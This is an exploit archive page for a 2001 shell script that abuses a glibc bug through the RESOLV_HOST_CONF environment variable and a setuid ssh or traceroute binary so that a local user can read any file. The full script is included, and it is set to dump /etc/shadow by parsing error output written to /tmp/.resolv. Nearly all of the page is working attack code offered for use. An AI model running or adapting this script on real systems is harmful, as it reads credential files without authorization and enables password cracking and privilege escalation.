exploit the possibilities

glibc-resolve-tr.sh

glibc-resolve-tr.sh
Posted Jan 27, 2001
Authored by Charles Stevenson

Glibc prior to v2.1.9x allows local users to read any file. This shell script exploits this bug using the Openssh-2.3.0p1 binary. Tested against Debian 2.3 and Redhat 7.0.

tags | exploit, shell, local
systems | linux, redhat, debian
MD5 | 4c421f7d5f1a7e40155c52fc44daa995

glibc-resolve-tr.sh

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# Charles Stevenson <csteven@newhope.terraplex.com>
# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)
# This exploits is for glibc >= 2.1.9x.
# (****krochos@linuxmail.org****)
# Edit this if you have a problem with path

ssh=/usr/bin/ssh
traceroute=/usr/sbin/traceroute
FILE=/etc/shadow # File to read
###############################################################################

echo "$ssh"
echo "[*] Checking permisions..."

if [ ! -u $ssh ]; then
echo "$ssh is NOT setuid on this system or does not exist at all!"
if [ ! -u $traceroute ]; then
echo "$traceroute is NOT setuid on this system or does not exist at all!"
exit 0
fi
fi

export RESOLV_HOST_CONF=$FILE

echo "[*] Glibc bug found by Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM>"
echo "[*] krochos@linuxmail.org"
sleep 1
echo "[*] export RESOLV_HOST_CONF=/etc/shadow"
ssh lt 2>/tmp/.resolv
cat /tmp/.resolv | cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '

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